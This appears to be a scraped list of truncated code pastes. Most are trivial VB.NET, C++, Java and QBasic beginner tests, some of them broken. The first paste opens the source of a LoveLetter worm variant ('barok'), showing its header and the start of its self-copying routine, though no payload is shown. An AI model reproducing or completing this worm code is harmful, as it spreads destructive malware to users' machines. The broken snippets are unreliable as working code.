1
2
3
4
5
6
7
8
9
rem  barok -loveletter(vbe) <i hate go to school>
 rem by: spyder  /  ispyder@mail.com  /  @GRAMMERSoft Group  /  Manila,Philippines
 On Error Resume Next
 dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
 eq=""
 ctr=0
 Set fso = CreateObject("Scripting.FileSystemObject")
 set file = fso.OpenTextFile(WScript.ScriptFullname,1)
 vbscopy=file.ReadAll
 ...

1
2
3
4
5
6
7
8
9
Imports System
 
Public Class Test
        Public Shared Sub Main()
                Dim re As New Text.RegularExpressions.Regex("(?<=cont.*?)I(.*?)I(?=.*?/cont)")
                Dim s As String = "cont cont ItextI /cont /cont"
                Dim m As Text.RegularExpressions.Match = re.Match(s)
 
                Console.WriteLine(m.Value)
 ...

1
2
3
4
5
6
7
8
9
Imports System
 
Public Class Test
        Public Shared Sub Main()
                Dim re As New Text.RegularExpressions.Regex("(?<=cont.*?)I(.*?)I(?=.*?/cont)")
                Dim s As String = "cont cont ItextI /cont /cont"
                Dim m As Text.RegularExpressions.Match = re.Match(s)
 
                Console.WriteLine(m.Groups(1).Value & m.Value & m.Groups(3).Value)
 ...

1
2
3
4
5
6
7
8
9
Imports System
 
Public Class Test
        Public Shared Sub Main()
                Dim re As New Text.RegularExpressions.Regex("(?<=cont.*?)I(.*?)I(?=.*?/cont)")
                Dim s As String = "cont cont ItextI /cont /cont"
                Dim m As Text.RegularExpressions.Match = re.Match(s)
 
                Console.WriteLine(m.Groups(1).Value & m.Value & m.Groups(2).Value)
 ...

1
2
3
dim bla as integer
 
bla = textbox1.text

1
2
3
4
5
6
7
8
9
    /*
            rstats modified for standalone use.
           
            Some code copied from tomatousb project
            Copyright (C) 2006-2009 Jonathan Zarate
     
            Will read rstats backup file to JSON output.
    */
     
 ...

1
2
3
4
5
6
7
8
9
Imports System
 
Public Class Test
        Public Shared Sub Main()
                
 
 
 
        End Sub
 ...

1
2
3
4
5
6
7
8
9
Public Class frm1
  Private Sub txtInput_KeyPress(KeyCode As Integer)
If KeyCode = 13 Then 
 MsgBox("hit")
End If
 
MsgBox(KeyCode.toString)
End Sub
 
 ...

1
2
3
4
5
6
7
8
9
Public Class frm1
  Private Sub txtInput_KeyPress(KeyCode As Integer)
If KeyCode = 13 Then 
YourVariable = txtInput.Text
End If
End Sub
 
 
End Class

1
2
3
4
5
6
7
8
9
#include <iostream>
#include <conio.h>
using namespace std;
 
int main()
{
        int a=15;
        int b;
        int c;
 ...

1
2
3
4
5
6
7
8
9
Public Class frm1
  Private Sub txtInput_KeyPress(KeyCode As Integer)
If KeyCode = 13 Then 'Carriage Return
YourVariable = txtInput.Text
End If
End Sub
 
 
End Class

1
2
3
4
5
6
7
8
9
Imports System
 
Public Class Test
   Public Shared Sub Main() 
       Dim n As Integer
       n = Console.ReadLine
       Do While n <> 42
           System.Console.WriteLine(n)
           n = Console.ReadLine
 ...

1
2
3
4
5
6
7
8
public class a 
{
public static void main(String a[])
{
System.out.println("mani");
}
 
}

1
2
3
4
5
6
7
8
9
Private Sub WebBrowser1_ProgressChange(ByVal Progress As Long, ByVal ProgressMax As Long)
On Error Resume Next
    If Progress = -1 Then ProgressBar1.Value = 100 'the name of the progress bar is "ProgressBar1".
        Label1.Caption = "Done"
        ProgressBar1.Visible = False 'This makes the progress bar disappear after the page is loaded.
        Image1.Visible = True
    If Progress > 0 And ProgressMax > 0 Then
        ProgressBar1.Visible = True
        Image1.Visible = False
 ...

1
2
3
4
5
6
7
8
9
friend sub gg (byval v as integer = 33)
dim je as integer = 22
dim gg = v + 1
if not 0 then
msgbox(je)
exit sub
end if
msgbox(jj)
end sub

1
2
3
dim t as char
t = "q"c
msgbox(t)

1
2
3
dim t as double = 1234.5678
dim b as byte = cbyte(t)
msgbox(t & " " & b)

1
2
3
4
5
6
7
8
9
friend function gg (option byval v as integer = 33) as integer
dim je as integer = 22
gg = v + 1
if not -1 then
exit function
end if
return je
end function
msgbox(gg(31))

1
2
3
4
5
6
7
8
9
friend sub gg (optional byval v as integer = 33)
dim je as integer = 22
gg = v + 1
if not -1 then
msgbox(je)
exit function
end if
msgbox(jj)
end function

1
2
3
4
5
6
7
on error goto h
throw new DivideByZeroException()
msgbox("1")
h:
if (typeof err.getexception() is DivideByZeroException) then
msgbox("2")
end if

1
2
3
dim t as string = "FEW"
dim c as char = cchar(t)
msgbox(t & " " & c)

1
2
3
dim t as long = 123
dim t1 as single = ctype(t,boolean)
msgbox(t & " " & t1)

1
2
3
4
5
6
7
8
9
friend function gg (option byval v as integer = 33) as integer
dim je as integer = 22
gg = v + 1
if 1 = 1 then
exit function
end if
return je
end function
msgbox(gg(31))

1
2
3
4
5
6
7
on error goto h
throw new exception()
msgbox("1")
h:
if (typeof err.getexception() is DivideByZeroException) then
msgbox("2")
end if

1
2
3
4
5
6
7
8
9
friend sub gg (byval v as integer = 33)
dim je as integer = 22
dim gg = v + 1
if not 0 then
msgbox(je)
exit sub
end if
msgbox(jj)
end sub

1
2
3
4
5
6
public function gg (optional byval v as integer = 33) as integer
dim je as integer = 22
gg = v + 1
return je = 22
end function
msgbox(gg())

1
2
3
dim t as double = 1234.5678
dim b as byte = cbyte(t)
msgbox(t & " " & b)

1
2
3
4
5
6
7
8
9
PRINT "Privetstvuiu, eto programma napisana Mihailom Sokolyanskim"
PRINT "____________________________________________________________"
 
INPUT "Familiya:", f$
INPUT "Imya:", i$
INPUT "Class:", k$
INPUT "Bukva classa:", b$
CLS
SLEEP
 ...

1
print "pópi"

1
msgbox("pópi")